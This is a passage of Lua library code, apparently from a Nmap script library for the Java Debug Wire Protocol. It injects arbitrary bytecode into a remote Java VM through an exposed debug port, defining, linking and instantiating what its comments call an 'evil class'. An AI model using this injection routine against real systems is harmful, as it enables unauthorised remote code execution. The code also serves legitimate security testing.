stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID) -- find ClassLoader's defineClass() method local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false) -- find ClassLoader's resolveClass() method local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false) if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID)) return false end -- create array to load bytecode into local arrayID status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes) if not status then stdnse.print_debug("New array failed: %s", arrayID) return false end stdnse.print_debug("Created new byte array of length %d",#class_bytes) -- set array values local temp status, temp = setArrayValues(socket,0,arrayID,0,class_bytes) if not status then stdnse.print_debug("Set values failed: %s", temp) return end stdnse.print_debug("Set array values to injected class bytes") -- get main thread id -- in order to load a new class file, thread must be suspended by an event -- so we set it to singlestep, let it run and it get suspended right away local threads status,threads = getAllThreads(socket,0) if not status then stdnse.print_debug("get threads failed: %s", threads) return false end local main_thread local eventID stdnse.print_debug("Looking for main thread...") for _,thread in ipairs(threads) do local thread_name status, thread_name = getThreadName(socket,0,thread) if not status then stdnse.print_debug("getThreadName failed: %s", thread_name) return false end if thread_name == "main" then stdnse.print_debug("Setting singlesteping to main thread.") status, eventID = setThreadSinglestep(socket,0,thread) main_thread = thread break end end if main_thread == nil then stdnse.print_debug("couldn't find main thread") return false end -- to trigger the singlestep event, VM must be resumed stdnse.print_debug("Resuming VM and waiting for single step event from main thread...") local status, _ = resumeVM(socket,0) -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction clearThreadSinglestep(socket,0,eventID) stdnse.print_debug("Cleared singlesteping from main thread.") -- instantiate new class loader local class_loader_instance status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil) if not status then stdnse.print_debug("newClassInstance failed: %s", class_loader_instance) return false end stdnse.print_debug("Created new instance of SecureClassLoader.") local injectedClass -- invoke defineClass with byte array that contains our bytecode local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...") status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs) if not status then stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass) end -- resolve (Java's way of saying link) loaded class status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag if not status then stdnse.print_debug("invokeObjectMethod failed:") end -- extract the injected class' ID local tag,injectedClassID _,tag,injectedClassID = bin.unpack(">CL",injectedClass) -- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it -- and for that we need its runtime_type which is Class local runtime_type status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class -- find the getMethods() id local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false) status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID) local sig, reflected_type status, sig = getSignatureWithGeneric(socket,0,injectedClassID) stdnse.print_debug("Injected class signature: %s", sig) status, reflected_type = getReflectedType(socket,0,injectedClassID) -- find injected class constructor local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false) if injectedConstructor == nil then stdnse.print_debug("Couldn't find either evil method or constructor") return false end -- instantiate our evil class local injectedClassInstance status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil) if not status then return false, injectedClassInstance end local injected_class = { id = injectedClassID, instance = injectedClassInstance, thread = main_thread } return true, injected_class end return _ENV;